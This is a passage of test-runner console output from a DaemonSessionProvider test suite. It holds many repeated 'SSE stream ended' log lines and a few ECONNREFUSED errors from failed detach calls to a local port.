stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > returns safe pending prompt results when no session is connected
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > routes mid-turn message removal through the matching session owner
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > forwards the persisted client id of the target session on cross-session removal
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
